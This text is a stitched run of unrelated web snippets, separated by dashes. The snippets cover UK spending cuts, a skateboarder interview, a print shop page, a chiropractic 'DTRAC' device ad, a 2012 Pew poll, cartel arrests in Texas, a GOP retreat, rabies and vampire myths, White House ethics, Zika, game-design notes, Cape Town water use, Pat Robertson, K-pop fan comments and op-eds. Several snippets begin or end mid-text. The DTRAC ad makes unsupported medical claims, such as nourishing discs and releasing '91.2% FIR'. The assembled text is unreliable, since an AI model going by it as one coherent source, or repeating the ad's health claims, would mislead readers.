back for more. -Some departments are facing cuts of up to 40% that are likely to lead to large reductions in Whitehall staff numbers The government is seeking another £16bn in spending cuts of current or “resource” spending by 2020, according to an IFS analysis of its plans. Separately from that, the Treasury is seeking £12bn in cuts to welfare spending, from tax credits managed by HMRC and other benefits administered by the Department for Work and Pensions. Capital spending on big-ticket investments such as road and rail improvements is protected. George Osborne must get a grip on the care home crisis | Letters Read more A number of departments, including health, international development and defence, as well as part of the schools budget are also ringfenced. This means other departments are facing cuts of up to 40%, which are likely to lead to large reductions in Whitehall staff numbers. Cuts agreed Treasury Osborne’s own department oversees HMRC, which is responsible for tax credit spending. The department has already agreed to resource spending cuts of 30% but is still working out how to reduce the impact of a plan for £4bn of cuts to tax credits that was rejected by the House of Lords. Communities and Local Government DCLG has agreed to cuts of about 30% over the next four years. This is separate to funding for local government, and is likely to involve the closure of what the Treasury refers to as “low-value programmes”. Facebook Twitter Pinterest George Osborne at Manchester Victoria Station, on the Manchester to Liverpool line where electrification has recently been completed. Capital spending is protected. Photograph: Stefan Rousseau/PA Transport Cuts of 30% have been agreed to the DfT’s current budget over the next four years. It could affect sustainable transport and funding for buses, walking and cycling programmes. Capital spending is protected so big investments in road and rail will go ahead as planned. Environment, Food and Rural Affairs Cuts of 30% have been agreed, with the department expected to scale back the extent of its footprint while trying to prioritise spending on flood and disease prevention. Still negotiating Education The Conservatives promised to protect spending per pupil at the general election. This leaves a slim amount of spending available for cuts, including post-16 learning, early years and universal free school meals for infants. David Cameron has already indicated he wants the meals to remain because it was a Conservative manifesto pledge. Facebook Twitter Pinterest Free school meals. David Cameron has already indicated he wants the meals to remain. Photograph: Graeme Robertson for the Guardian Business, Innovation and Skills There are potentially rich pickings for the chancellor at BIS, which has a resource budget of around £13bn. There had been talk of abolishing BIS altogether, but business secretary, Sajid Javid, has said that would be a backwards step. However, he has identified areas for savings in consolidating the BIS estate, which has 80 sites. Higher education, further education, research funding and grants for business could all be in the firing line. Home Office The department has a big resource budget of around £10bn but police chiefs have been warning of dire consequences if this leads to a need to reduce the number of officers. Theresa May, the home secretary, has said she believes there is more scope for collaboration between forces but it is said she has been fighting hard behind the scenes against accepting the scale of cuts due to hit most departments. What is the 2015 spending review and how will it affect public services? Read more Justice Michael Gove, the justice secretary, has struck a deal to build nine new prisons and sell off the old estates for housing. The level of cuts to his resource budget of around £6bn is not yet public but Gove has signalled he would like to save money by reducing the number of people in prison. Foreign and Commonwealth Office The FCO budget is only small at around £2bn so cuts at the pace of other departments could bite hard. Philip Hammond, the foreign secretary, is said to be trying to hold out against the prospect of having to close embassies. Energy and Climate Change The department has a small resource budget and it is likely to find remaining subsidies for green energy – such as the renewable heat incentive – coming under pressure or scrapped altogether. Culture, Media and Sport The department could further cut grants for the arts, with lottery money potentially expected to make up the shortfall. Ringfenced Health The department is ringfenced and its budget will grow, but it will still have to make efficiency savings because of rapidly rising demand for services thanks to an ageing population. The chancellor has pledged to spend an extra £8bn on the NHS by 2020. Facebook Twitter Pinterest Spending on foreign aid is ringfenced at 0.7% of GDP. Photograph: Neil Bryden/RAF/EPA Defence Cameron has committed to the Nato target of spending 2% of national income on defence, meaning the budget will rise over the parliament. International Development Spending on foreign aid is ringfenced at 0.7% of GDP. However, it might be possible for some spending from other departments, particularly on climate change, the FCO or conflict prevention, to creep into overseas aid spending. -Benny Fairfax has one of the smoothest parts in the entire Real Street contest. His style is so effortless he could be asleep at the wheel doing tricks. There are plenty of people that work very hard to attain the nonchalant look in their skating. For Benny, that style just comes naturally. He's having fun and it shows. Blasting and catching a frontside shove-it like this one is no easy feat. Benny makes it look all too easy. Yoon Sul Tell us a little about filming for this Real Street video. How did it feel to film for this compared to filming for other video parts you've worked on in the past? I guess, to be honest, I didn't really find out I was filming for the Real Street thing until the footage actually went to it. I was just out skating and filming like usual. What filmer/editor did you work with for the Real Street vid and what's you're relationship like with at guy? I worked mostly with a filmer named Cole Matthews. He is a really good friend of mine. We were born only a week apart. We've been good friends and roommates on and off for about six years now. He is one of my favorite guys to film with, real easy, no pressure. It's just like doing what you normally do when you go out and film with a friend. Benny navigates a Lego-like ledge setup to ollie over into this backside nosebluntslide with style. Ben Karpinski What do you think of the whole concept of video part for cash and prizes as opposed to structured contest environments? It's the best way I think. It's not like you are under some crazy pressure being expected to perform in runs. I think this is how all contests should be run. It's amazing. Did any one trick or line make for a memorable experience: either a battle or really fun/memorable session? There was one line I filmed in Orange County where I focused my board. I never do that either. I just got really angry and let myself snap. Afterwards I looked down at my broken board and thought, "I really wish I hadn't done that." I wanted to carry on filming but I had sealed my own fate. Was there anything you wanted to get for this part that you couldn't? There was quite a bit. The deadline was looming and I lost my passport and visa so I had to go back to the U.K. to sort all that out. I didn't have as much time as I'd have liked. Tell me about this passport thing. How did you lose it? I forgot it in a taxi. My passport is my prized possession and losing it is a big deal. I had to go to the English embassy in Los Angeles to get a temporary passport for about $200. Fly to the U.K. and get my real passport for another $200. Then go to the American embassy in England to get my visa. It was terrible. Portrait of the skater as a young artist. Benny gets in tune with his inner hippie. Daniel Shimizu That sounds like the most expensive cab ride ever! It was. Now I keep my passport in a safe. I can only take it out when I am about to get on an airplane [laughs]. Of the other skaters in the Real Street contest, apart from yourself, who would you put your money on to win the whole thing? Nick Trappaso for sure. If you win, what will you do with the $50,000? I'm pretty sure that I don't have any chance of winning because everyone in the thing is so raw. But if by some miracle I do win I'd probably throw a party mate! Who would you like to see in next year's Real Street contest? Nick Trappaso, again. Danny Brady, Andrew Brophy, Raymond Molinar and Clint Peterson. -Small / No Frame - $29.99 USD Large / No Frame - $47.99 USD Small / With Frame - $77.99 USD Large / With Frame - $149.99 USD Add to Cart DUE TO POPULAR DEMAND ALL PRODUCTS MAY TAKE UP TO 3-5 WEEKS TO ARRIVE! * JUST RELEASED HIGH QUALITY PRINTS! * Available in TWO sizes with frames or without SMALL: 2 pieces in (8x14in), 2 pieces in (8x18in), 1 piece in (8x21in) LARGE: 2 pieces in (12x16in), 2 pieces in (12x24in), 1 piece in (12x32in) An Item with a frame is a canvas that is already on a wooden frame and is ready to hang. It looks exactly like the image displayed above. An item without a frame is just a print on a canvas without a wooden frame. This item is NOT sold in stores! Guaranteed safe checkout: PAYPAL | VISA | MASTERCARD* Click ADD TO CART To Order Yours! * Due to popular demand. Please allow up to 3-4 weeks for delivery depending on our most popular products! It will be worth the wait! Apparel products usually only takes 4-7 business days to arrive at your door steps! -DTRAC is designed to relieve "SITTING PAIN". When we sit on a chair or couch, we naturally hunch and slouch. Your hips and back suffer. DTRAC helps relieve tension and stress on your back! You will feel super relaxed in your low back and hips anytime anywhere. Portable so you can use it at your personal spaces or in Hotel room after long flights & long road trips. No need for Fancy $100 Yoga Clothes. Put on PJ & any shirts. You are ready to rest your low back now. You can even play games on your smart phones on DTRAC because it uses your body weight to achieve "disc traction," "spinal decompression," and "lumbar support" effortlessly. You'll need an HTML5 capable browser to see this content. Play Replay with sound Play with sound 00:00 00:00 Spinal decompression is a type of traction therapy applied to the spine in an attempt to bring about several theoretical benefits including: Create a negative intra-discal pressure to promote retraction or repositioning of the herniated or bulging disc material. Create a lower pressure in the disc that will cause an influx of healing nutrients and other substances into the disc.1 SITTING is one of the biggest contributor for your Back Problems. You do not need to ask your friends or husband/wife to massage your back anymore. Stop the awkward conversion. Just use DTRAC. By decompressing the spines, you can finally relax your spines & discs, and plus all the muscles around them. JUST REST ON DTRAC. DTRAC relieves the tensions in your low back so you can wake up refreshed every morning. Before bed, to release stress. Start your morning with DTRAC. Rest comfortably in effortless perfect posture in your low back. It will get yourself ready for work. You may notice the differences immediately. In both x-ray and c-arm pictures, the increase in intervertebral disc spaces is about 2mm. DTRAC creates the negative pressure. Discs will be nourished with moisture and nutrients. If you are sitting at your desk or driving more than 4 hours a day, your back needs DTRAC to reverse the damages on your discs. With the daily use of DTRAC, most patients & users will see the differences in weeks. Just pulling you up and down is not traction. Hanging upside down? Yes, it has a traction effect, but not every one can stay that way for a long time. Plus, ankles and hip joints open up more than low back pain. Therefore, chiropractors started to look for solutions. In 2012, on Journal of Manipulative and Physiological Therapeutics introduced a way of new traction. In short, it states that Disc Traction is most effective when achieved with the natural curvature of the low back (a.k.a. lumbar lordosis at 45 degrees). GUESS what that is? DTRAC! Using your own body weight, DTRAC can achieve "spinal decompression" effortlessly. Therefore, safe and natural for the spines! FIR is the newest addition to DTRAC. With the help of Zirconia, in the lap test, it was recorded to release 91.2% FIR. I am Dr. Kang, D.C., a chiropractor, myself with 20+ clinical experiences. I graduated from Cleveland chiropractic college here in Los Angeles. These clinical years were very crucial for me as I can now distinguish what works and what does not. (Textbooks are not reliable once you are in the filed; they only become the references or decorations) My wife had experienced a spinal disc problem during her pregnancy years and have suffered from a weak lower back ever since. I developed a DTRAC prototype for my wife at first. Under my careful supervision, she started to train with it for 5-10 minutes in the evenings. I was not to become fully aware of DTRAC's real power until 3 weeks later when she starts to notice no pain and no sciatica even long days of work on her feet. My wife also was suddenly struck by the realization that she had been on my feet all day long without even noticing the effort. Before DTRAC, she would only last a couple of 2 hours before having to sit down to rest my poorly, aching back! That was all the proof I needed to close my clinic and went ALL-IN with DTRAC. Now as the original developer of DTRAC, I stand by with the quality and effectiveness. I finally teamed up with a GOOD team that I can elevate DTRAC to the next level. Without the burdens from the old team, I am very excited to explode its potential. I hope you can be a part of it! JOIN US! Get Your Project Funded Today! The Brand-New DTRAC team purchased all the patents, rights, moulds, manufacturing processes, etc. from the first DTRAC team and improved the product inside out. You can call it ALL NEW DTRAC. The only thing that we kept from the v1 is the concept & color. We are actually re-considering the color. If you have a great suggestion in color, please email us here: hello@DTRAC.ca Different from the previous team, we have partnered with reputable manufacturer, packaging & fulfillment team ready before the launch. Now all we need is your support to make it to reality once again. We hope you enjoy DTRAC v2 as much as we do. -Romney Leads GOP Contest, Trails in Matchup with Obama Gas Prices Offset Good News about Jobs Overview Mitt Romney has retaken a significant lead nationally in the race for the Republican presidential nomination, even as he has fallen further behind Barack Obama in a general election matchup. Moreover, Obama’s own job approval rating has reached 50% for the first time since last May, shortly after the killing of Osama bin Laden. The latest national survey by the Pew Research Center for the People & the Press, conducted March 7-11 among 1,503 adults, including 1,188 registered voters and 538 Republican and Republican-leaning voters, finds that Romney leads Rick Santorum, 33% to 24%, in the GOP nomination contest. A month ago, the two men were in a virtual tie (28% Romney, 30% Santorum). But both GOP frontrunners are running well behind Barack Obama in general election matchups. Among all voters, Obama leads Romney by 12 points (54% to 42%) and Santorum by 18 points (57% to 39%). Obama’s advantage among women voters, while largely unchanged from a month ago, remains substantial – 20 points over Romney and 26 points over Santorum. Obama also holds an enthusiasm advantage over both of his main GOP rivals. In a matchup with Romney, 41% say they support Obama strongly, compared with only 28% who strongly support the former Massachusetts governor. Obama holds a commanding 45% to 28% lead over Santorum in strong support. Republicans have a modest lead in engagement; 71% of Republican and Republican-leaning voters say they have given quite a lot of thought to the presidential election, compared with 64% of Democratic and Democratic-leaning voters. However, this is far short of the engagement advantage the GOP held in pre-election polls in the 2010 midterm campaign. Obama is widely viewed as likely to defeat either Romney or Santorum in November. Nearly six-in-ten registered voters (59%) say that Obama is likely to prevail if the election is between Obama and Romney; just 32% expect Romney to win. About seven-in-ten (68%) say that Obama is likely to beat Santorum, if he becomes the GOP nominee. While overwhelming majorities of Democratic and Democratic-leaning voters think that Obama will win against Romney or Santorum, Republicans are far less confident in their parties’ candidates. Just 60% of Republican and Republican-leaning voters say Romney is likely to defeat Obama. In an Obama-Santorum matchup, even fewer GOP voters (46%) predict victory; about as many expect Obama to best Santorum (43%). The poll includes other positive signs for Obama, as well some potential vulnerabilities. For the first time since last May, significantly more approve (50%) than disapprove (41%) of his overall job performance. That is little changed from a month ago (47% approve, 43% disapprove), but in January 44% approved of the way Obama is handling his job as president, while 48% disapproved. Obama’s approval rating for handling the economy also has improved over the past several months. Currently, 43% approve of his handling of the economy, while 53% disapprove. In November, 35% gave him positive marks on the economy and 58% disapproved. Gas Prices Offset Good News about Jobs The public’s view of overall economic news – as well as news about the job situation – has shown decided improvement since last summer. Yet perceptions of news about gas prices have taken a sharp turn for the worse. Fully 85% say the news they are hearing about gas prices is mostly bad, which is up from 47% last November. In contrast, the percentage saying they are hearing mostly bad news about the job situation has fallen 26 points since November – from 64% to 38% – and stands at one of its lowest points in a measure dating back nearly three years. The mixed perceptions of economic news have had little effect on underlying opinions about the state of the economy. The public’s rating of current economic conditions remains stubbornly negative. Nearly nine-in-ten (89%) say economic conditions are only fair or poor, a figure that has changed little over the last four years. Economic optimism increased sharply between December and February and is unchanged since last month. Currently, 44% say they expect economic conditions in the country to be better a year from now, 14% say conditions will be worse and 38% say they will be the same. Views of Candidates, Parties The survey finds that the contentious Republican primary has taken a toll on the image of the leading GOP candidates. In the current survey, just 29% of Americans say they have a favorable view of Romney, while 51% say they have an unfavorable impression. In November, opinions about Romney were more closely divided (36% favorable vs. 42% unfavorable). Santorum’s image has grown much more negative in the past month alone: 27% say they have a favorable view of Santorum, while 44% view him unfavorably. In February, about as many said they had a favorable opinion as an unfavorable one (33% vs. 36%). Obama’s personal image remains much more favorable than either Romney’s or Santorum’s. Currently, 56% of Americans say they have a favorable impression of Obama while 41% have an unfavorable view. Moreover, while the Democratic Party is viewed more favorably than it was a few months ago, the Republican Party’s image is little changed – and remains much more negative than positive. Just 36% have a favorable opinion of the GOP, compared with 56% who have an unfavorable opinion. That is largely unchanged from January (35% favorable vs. 58% unfavorable). Currently, 49% say they have a favorable impression of the Democratic Party, while 43% view the party unfavorably. In January, 43% viewed the Democratic Party favorably and 51% had an unfavorable impression. The Democratic Party has opened a slim 44% to 39% advantage as the party better able to improve the job situation. The Democrats also are viewed as better able to represent people’s views on abortion (by 16 points), and to deal with health care (14 points), Medicare (13 points) and the nation’s energy problems (11 points).The two parties run about even on dealing with the federal budget deficit (41% Democrats, 42% Republicans). Half of Americans (50%) say the Republican Party is more extreme in its positions; just 35% say that phrase better describes the Democratic Party. Those opinions have changed little since July. Still, about as many say the Republican Party (39%) as the Democratic Party (42%) can better manage the federal government. Health Care Law: Two Years Later The survey also finds that, two years after the passage of comprehensive health care legislation, the public is evenly divided over the law. Overall, 47% approve of the law, while 45% disapprove. In January 2011, 41% approved and 48% disapproved. About half of Americans (53%) say that Congress should either expand the health care law (33%) or leave it as it is (20%); 38% favor its repeal. However, substantially more disapprove (56%) than approve (41%) of a key provision in the law that requires individuals to have health insurance by 2014 or pay a penalty. This provision is at the heart of a constitutional challenge to the law, which will be heard before the U.S. Supreme Court in late March. Opinion on health care legislation is sharply divided along partisan lines. Republicans overwhelmingly disapprove of the 2010 law (84%) and the individual mandate (83%). About three-quarters of Democrats (76%) approve of the law and 66% approve of the individual mandate. Independents are divided over the health care law (44% approve, 47% disapprove), but 60% disapprove of the individual mandate. -ROMA, Texas — Five members of Mexico’s Gulf Cartel were arrested near this border city as they tried to illegally enter the country. The arrests took place this week when the group tried to cross the Rio Grande near the Mexican City of Miguel Aleman into this border city, information provided to Breitbart Texas by the 229th District Attorney’s office revealed. The men were arrested by Texas state troopers and U.S. Border patrol agents moments after crossing. The men had managed to get into an F-150 pickup that had arrived at the banks of the Rio Grande to pick them up. The driver of the pickup has been charged by state prosecutors with human smuggling. The names of the five confessed Gulf Cartel members have not been released since they were turned over to federal authorities for prosecution. As Breitbart Texas previously reported, the Texas border area known as the Rio Grande Valley has been a haven for drug cartel members where they try to hide out when Mexican authorities come close to arresting them. While in Mexico cartel members move around with large armies of gunmen; in Texas the drug lords keep a lower profile in order to avoid drawing the attention of U.S. law enforcement. In Starr County which includes Roma and Rio Grande City, authorities have arrested Benicio “Comandante Veneno” Lopez and Orlando Roberto “Comandante Boris” Rodriguez . Lopez had been living in Texas where he has a long criminal history that includes murder and other charges. In Hidalgo County, the area that includes McAllen, authorities have arrested the regional cartel commander known as Juan “Panochitas” Saenz Tamez and Francisco “Comandante Paquito” Martinez. Both cartel commanders were arrested in Texas where they had been hiding out. Saenz had been hiding out in the border city of Edinburg, while Martinez was arrested by the Law Enforcement Emergency Regional Response Team in rural Mission. Ildefonso Ortiz is an award winning journalist with Breitbart Texas you can follow him on Twitter and on Facebook. -Of all the locations to hold a retreat in all of the world, they had to choose this one. Republican Party leaders, fresh from an electoral shellacking among black, Hispanic, Asian and women voters, have decided to put their heads together Friday and figure out how to do better, particularly given the changing demographics in the country. But they’ve chosen an awkward venue for their session entitled “successful communication with minorities and women”: an historic Virginia plantation. NBC’s Luke Russert reported Thursday: Friday’s panel, according to the published names, indicate it will include two Latino women, three white men and a Latino moderator. Yet the panel is not without an issue in optics; the room where the discussion will take place is called the “Burwell Plantation” room at the Kingsmill Resort. In fact, the room is named after the Burwell Family, a wealthy family that owned many slaves in 18th century Southern Virginia. Records pertaining to the families owning of slaves is well-documented by the city of Williamsburg on their website. Rep. Greg Walden, R-Ore., who heads Republicans’ campaign efforts, deflected a question regarding the irony of a panel trying to help the GOP woo minorities happening in a room named after a slave-owning family’s plantation. “I don’t pick the rooms we meet in,” Walden said. “I know the Democrats have held their retreats here too and I assume you’ll go and figure out if they ever held meetings in that same room.” Walden was also asked why the panel on appealing to minorities included three white men among six panelists, and he responded that he doesn’t “do this part of it.” Asked and answered. The choice of the former plantation (now a resort) has drawn raised eyebrows and snickers that even stretch overseas. Richard Adams, a blogger at the Guardian UK, even quoted from the Kingsmill sales literature, writing: “When the first English foot was placed in Virginia, it was here on these grounds that once served as a central part of the area’s plantation life in the 1600s through 1800s,” boasts the website of the Kingsmill Resort in Williamsburg, which draws a discrete veil over whatever events in the 1800s may have caused that to end. Slate’s Dave Weigel has thrown cold water on the snark over the GOP’s choice of venue, pointing out — correctly — that Democrats have “sat atop dead slave bones” at Kingsmill too, holding their legislative retreat on the grounds in 2009. President Barack Obama even prepped for his second presidential debate there. But the reverse umbrage misses the point: the problematic optics for Republicans are not just the former plantation, or the bones and ghosts of dead slaves that share space with a lavish resort and golf course. The optics are a party that is almost entirely made up of white men, holding a strategy session on how to appeal to minorities and women while ensconced in a plantation, surrounded by the aforementioned bones and ghosts. -Viral histories of the undead In 1953, Richard Matheson, inspired in part by the movie Werewolf of London, wrote the iconic novel I Am Legend (yes, the one that became the Will Smith movie). It was a novel nominally about vampires, but not the rural cape-wearing paramours popular up until then. Matheson pitted a lone protagonist researching and testing a cure for a global pandemic that created a horde of base, animalistic vampires. Sound familiar? Matheson’s vampires are the embryonic version of the modern day zombie. Zombie master George Romero even admits he “basically ripped off” Matheson in writing one his first short stories about a dystopian world of the undead. In Rabid, Bill Wasik and Monica Murphy actually name check World War Z in a chapter-length overview of the history of zombies and how they connect to rabies through their sister-monster: the vampire. Yes, zombies, part of our culture for less than a century, find their roots in the thousands of years old myths of vampires. There’s not just a casual relationship between the virus and the monster: zombies and their much older cousins, vampires, share a causal connection. The myth of vampires, imbued with traits of rabies victims, was popularized long before we fully understood rabies Spanish physician Juan Gomez-Alonso explains four connections between rabies and vampire myths in a 1998 Neurology journal article, the most obvious being infection through the blood via bites. Rabies victims also often suffer from facial spasms, lending them an animalistic appearance. The third connection is the time frame: vampire lore had them living for forty days before being turned, the same amount of time it usually takes for the victim of a rabies attack to die after their initial bite. The final connection is probably the most surprising: sex drive. The insatiable sexual desire that’s a trademark of both traditionally gothic and sparkly modern vampires can also be traced to rabies. Male rabies victims often get involuntary erections and have spontaneous orgasms. Unsurprisingly, this was not often spoken of outright, but was alluded to in much of the early medical literature, with one eighteenth century Austrian physician noting “his seed and his life were lost at the same time.” The myth of vampires, imbued with traits of rabies victims, was popularized long before we fully understood rabies. Even further back than the vampire is a tale that is part myth, part metaphor: in Homer’s epics, the Trojan hero and Achilles’ foe Hector has a strong fury akin to primal possession that made him terrifying and superhuman on the battlefield. The word used to describe his state is lyssa. As Wasik and Murphy describe it in Rabid: “Lyssa was rare, terrifying, violent, and animalistically destructive of self. It made creatures maim and kill those closest to them. It hollowed out reason and left nothing but frenzy.” In Attic Greek (the prestige dialect of Ancient Greek that was spoken in Attica) lyssa literally translates to rabies. World War Z has its own version of the lyssa crazed warriors: quislings. Quislings were once humans, reduced below a feral state into thinking and acting as zombies. It’s an involuntary coping mechanism on the part of some weak-willed percentage of the population. They were so ingrained with the idea they were zombies, they’d lay motionless while they were eaten alive. We personify and mythologize what we fear to try to understand it in whatever way we can. -As part of his “drain the swamp” campaign promises, in January US president Donald Trump signed an executive order to limit conflicts of interest. It required all his appointees not to deal with matters relating to people they had worked with up to two years before their appointment. A thoroughly sensible policy. Except it turns out that one of the main people charged with overseeing it, and other White House ethics issues, is in violation of it. The financial disclosure form (pdf) of Stefan Passantino, a deputy White House counsel and the White House’s “designated agency ethics official,” reveals that within the last two years he’s done paid work for housing secretary Ben Carson, health secretary Tom Price, and, much to Democrats’ chagrin, the unpaid ”special adviser to the president,” Carl Icahn. Icahn, a billionaire investor who came to Trump’s rescue when his Atlantic City casinos hit rock bottom, has been the target of consistent ethics complaints alleging that his role as a regulatory adviser—particularly on environmental issues—directly benefits his energy investments. Since Icahn is unpaid, he doesn’t have to disclose his financial interests—worth $15.8 billion according to Forbes. The mogul has brushed off the complaints, telling CNN in March that “we vetted this with the lawyers a number of times. I think the criticism is nonsense.” Passantino would presumably have been one of the lawyers in charge of that vetting. In a letter on April 21, Democratic senators Elizabeth Warren and Sheldon Whitehouse wrote to Passantino (pdf) to request details on his prior services to Icahn, and whether he has worked on matters relating to Icahn, Carson, and Price while in the White House. The White House did not respond immediately to a request for comment on the letter, or on whether Passantino has recused himself from matters relating to those three—we will update if they do. -Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Jan. 16, 2016, 10:56 PM GMT / Updated Jan. 16, 2016, 10:58 PM GMT By Maggie Fox A baby born in Hawaii with a birth defect that affects head size had also been infected with Zika virus, state health officials said Saturday. The finding even more strongly links the fast-spreading virus with the defect, called microcephaly. “The Hawaii State Department of Health has received laboratory confirmation from the U.S. Centers for Disease Control and Prevention (CDC) of a past Zika virus infection in a baby recently born with microcephaly in a hospital on Oahu,” the health department said in a statement posted on its website. “The mother likely had Zika infection when she was residing in Brazil in May 2015 and her newborn acquired the infection in the womb. Neither the baby nor the mother are infectious, and there was never a risk of transmission in Hawaii," the health department said. On Friday night, the CDC issued a travel advisory suggesting that pregnant women put off travel to affected regions, and issued a health alert to doctors to be on the lookout for the virus. Microcephaly is an often severe birth defect that can kill an unborn child or cause disabilities throughout life. The brain and head are smaller than usual. The condition can be caused by genetics, alcohol use during pregnancy or infections such as rubella. Zika had never before been suspected of causing microcephaly and was considered a fairly benign virus. It’s a cousin of dengue virus but only causes symptoms in about one in four or one in five people. But Brazil has been raising increasingly loud alarms about Zika. The virus only showed up there last year but it’s rapidly spread, carried by mosquitoes that bite infected people and carry it to others. Related Gallery: Zika Linked to devastating Birth Defect At the same time, Brazil noticed a startling increase in the numbers of microcephaly cases. Then CDC and other experts found evidence of the virus in babies diagnosed with microcephaly. Zika has now been found in 14 countries in the Americas, from Colombia to Mexico. It’s not been found in Hawaii yet except carried by travelers like the mother and her child. But Hawaii suffers outbreaks of dengue and the same mosquitoes that carry dengue are found there, so the state is vulnerable. "We are saddened by the events that have affected this mother and her newborn," Hawaii’s state epidemiologist, Dr. Sarah Park, said in a statement. "This case further emphasizes the importance of the CDC travel recommendations released today." Park said the case highlights the importance of reducing mosquito populations, avoiding areas where the insects are likely to be, and to use mosquito repellent. It will take months for scientists to fully understand how and why Zika might cause birth defects and to figure out why it had not been noticed before. Before 2015 Zika had only been seen in parts of Africa, southeast Asia and some Pacific islands. "Pregnant women in any trimester should consider postponing travel to the areas where Zika virus transmission is ongoing. Pregnant women who do travel to one of these areas should talk to their doctor or other healthcare provider first and strictly follow steps to avoid mosquito bites during the trip,” CDC advised. -New types of CC|utility|gapclosers|escapes Created by Xeran Version 2: 15-07-2013 New types of CC and Escapes Abstract I wanted to make a list of possible new and unique types of CC (especially more soft types), utility and gapclosers/escapes, without the ne ed of giving everyone a leap or dash. This list can be us ed for further god design concept inspiration or as an example for how new gods could be designed without giving them everything. Especially carry’s, assassins (and mages) should been giving less (or not at all) higher tier o f CC/escapes. To create ‘balance’ b etween power, C C/utility and escapes. I would appreciated any feedback, but moreover additions and suggestions of you own, because I want to make an as complete list as p ossible. Therefore I will try to make several u pdates if needed. Disclaimer: Because this is only about new ideas an concepts I didn0t bothered about mana costs, CD’s and actual values, because this aren’t finalized abilities. Most aren’t complete abilities and need some extra effect, other target area (cone, circle, line) and/or damage applied to it. Currently in general and in my opinion: CC: Stun>taunt>Root>mesmerize>silence>cripple>etc. Escapes: Jump>dash>etc. (teleport depends) Crowd control Disarm (can’t AA) For X amount of seconds auto attacks cannot be used by enemies (doesn’t affect minions). This is basically a specialized version like silence, cripple and cleave. < Chill (attack speed debuff) Thought of, because of Chromzepher The attack speed of enemies is decreased by XXXX % for XXX seconds. Cleave (Cut through buffs, cancels all channeled bu ffs like steroids) -Cape Town - The City of Cape Town on Monday released a list of the top 100 water consumers in the city. In a statement, the city said water consumption increased to 837 million litres of collective use per day compared to the target of 700 million litres per day. Capetonians have to date been unable to achieve the target of 700 million litres per day after it was set in the middle of February, consistently using roughly 100 million litres more. "We may not have control over the weather, but we do have control over our use of potable water for non-essential purposes. Our actions can change the scenario," Mayor Patricia de Lille said. The city's top 100 water users use a total of roughly 25 million litres per month. The top 100 users, with the highest water usage per month, are located in: -CBN host Pat Robertson (screen grab) Televangelist Pat Robertson warned this week that women could have their pregnancies cursed by a “coven” of witches if they posted ultrasound photographs on Facebook. In an email to Robertson on Monday’s 700 Club, a viewer explained that her daughter was pregnant. “Young parents now regularly post fetal ultrasound photos as their Facebook photo,” the woman wrote. “From a spiritual point of view, is there any harm in doing this?” At first, Robertson said that he didn’t think that posting ultrasound photos was harmful, but then he seemed to change his mind. “There are demons and there are evil people in the world,” he said. “And you post a picture like that, and some cultist gets a hold of it or a coven and they begin muttering curses against an unborn child.” “I just don’t think this business of posting photos of the most intimate parts of your body on Facebook, I just can’t see it,” the TV preacher added. “To me, it’s abhorrent. But it isn’t necessarily unbiblical. It’s just abhorrent.” Watch the video below from CBN’s The 700 Club, broadcast Feb. 16, 2015. (h/t: Right Wing Watch) -"A sponsor agency passed out 2,000 free tickets + another V app event today that gave out 170x2 = 320 more free tickets. Meanwhile, articles about iKON claim that the concert was sold out immediately after tickets were put up for sale."1. [+156, -3] Never have I seen an idol pass out this many invite tickets ㅋㅋㅋㅋㅋㅋ hilarious considering their media play ㅋㅋㅋㅋㅋ it's written explicitly in their articles that they sold out their concert on Naver all the time ㅋㅋ hilarious2. [+146, -3] So they just gave whoever was the first 340 to show up free tickets? Daebak3. [+141, -4] The V app rep said that one person could get two free tickets and that he'd take his post down after 170 were given out. It was taken down three hours later. Meanwhile iKON fans are whining about how they can't go even with all these free invite passes ㅋㅋ4. [+71, -0] So the kids paying to go to this concert are idiots ㅋㅋㅋㅋ I bet they've already given out over 2,000 seats for free5. [+58, -0] The ikon of media play ㅋㅋㅋ6. [+50, -0] V App is even streaming the concert. Anyone who paid for this concert is an idiot.7. [+42, -0] Wow, I'm so pissed considering I'm paying for my tickets ㅋㅋㅋㅋㅋ I'm even on on the third floor, f*ck8. [+35, -0] Would be such a waste of money to go with your own money ㅋㅋ mediaplaykon9. [+32, -0] I'm a YG fan myself but this is so stupid, it just makes anyone who paid for the concert an idiot ㅋㅋㅋㅋㅋㅋㅋ10. [+27, -0] ㅋㅋㅋㅋㅋㅋㅋㅋ Embarrassing11. [+25, -1] Please stop the media play about being monster rookies now ㅋㅋ so why hold a concert you can't even fill the seats of yet?12. [+24, -1] Practically begging people to come with these free tickets13. [+18, -1] Hilarious how they media play about selling out their concert with all these free tickets -The cable industry has done a remarkable job building out its networks, offering consumers a service that lets them watch hi-definition television and download Web content at blazing speeds. But as Apple (AAPL) and the iPhone taught the cellphone industry, hardware isn't everything. Software -- especially the interface that your customers interact with -- is arguably more important. That's where cable giants like Comcast (CMCSA) and Time Warner Cable (TWC) are weak. And potential rivals, such as Apple, Hulu, and Boxee, are strong. We are surprised by how lousy today's set-top box software is. The user interface has barely changed in ten years. Searching through programs on hundreds of channels (and various on-demand listings) requires an immense amount of patience or muscle memory. And the set-top box shows no signs that it's connected to the same pipe as the Internet. What needs to happen? A much better user interface all-around. Clearer and simpler, especially menus. Browsing shows shouldn't just be a linear channel guide, but a real search experience, that's as visual as text-based. Get inspired by the iPhone and the Nintendo Wii -- not an old TV Guide magazine. Apps, widgets, motion-sensitive remotes, whatever. Use the Internet more. Pull in reviews from Rotten Tomatoes, Netflix, and Amazon. Let subscribers send out the shows they're watching on Twitter. Let us watch what our Facebook friends are watching. Figure out a way to get every Web video ever on the cable box via On Demand. We shouldn't have to boot up our laptop if we want to watch YouTube, MTV music videos, or our favorite video podcast. -As a professor, I’d feel safer if guns were not permitted on campus. I worry more about being the target of a student upset about failing grades than about a mass killer roaming the hallways. But there is little evidence to support my gut feeling. Utah, for example, has not seen an increase in campus gun violence since it changed its law in 2006. And a disturbed student can simply sneak a gun on campus in his backpack, as the Virginia Tech killer did in 2007. Indeed, lost in the debate is the fact that guns, being easy to conceal, are almost certainly on campus already. On the other hand, gun rights advocates are too quick to assume that laws allowing guns on campus will discourage mass murderers. Arizona has among the most liberal gun-carrying laws in the nation, but that didn’t prevent Jared L. Loughner from shooting Representative Gabrielle Giffords and killing six other people in Tucson in January. Nor did permissive carry laws lead to people defending themselves by shooting back. (Mr. Loughner was tackled and brought to the ground by unarmed bystanders.) Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank 